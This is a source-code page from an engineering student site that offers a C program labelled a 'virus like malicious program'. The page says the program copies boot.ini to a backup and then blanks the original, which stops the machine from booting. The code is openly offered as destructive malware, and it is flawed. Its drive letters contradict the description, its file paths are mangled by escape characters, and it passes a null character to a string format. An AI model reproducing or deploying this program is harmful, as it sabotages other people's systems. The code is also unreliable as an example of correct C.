123 Eng

Engineering the engineers™


Latest Jobs   Forum Map

 


Home
Source Codes
Engineering Colleges

Training  Reports
Seminar Reports
Placement Papers

Forums

   Computer Science / IT
   Electronics
   Electrical
   Mechanical
   Chemical
   Civil

   CAT / MBA

   GMAT / Foreign MBA
Latest Jobs

Engineering Jobs / Technical Jobs
Management Jobs

Sitemap
Terms of use

Displaying  Source Code(s)  
 

 
--------------------------------------------------------------------------------

Virus like malicious program.

--------------------------------------------------------------------------------

Description : overwrite the boot.ini in two OS systems (first it will copy the boot.ini in d: oot.ini and then it overwrite the c: oot.ini as null. no OS reistall is needed just copy and paste the d: oot.ini to c: oot.ini

#include <stdio.h>
#include <conio.h>
void main()
{
char b,c;
FILE *f,*g,*h;
clrscr();
c=NULL;
f=fopen("d:\boot.ini","r");
g=fopen("e:\boot.ini","w");
while(1)
{
b=fgetc(f);
if (b==EOF)
break;
fprintf(g,"%c",b);
}
h=fopen("d:\boot.ini","w");
fprintf(h,"%s",c);
fclose(h);
fclose(g);
fclose(f);
getch();
}

 

 

 

Contribute content or training reports / feedback / Comments
job placement papers
All rights reserved © copyright 123ENG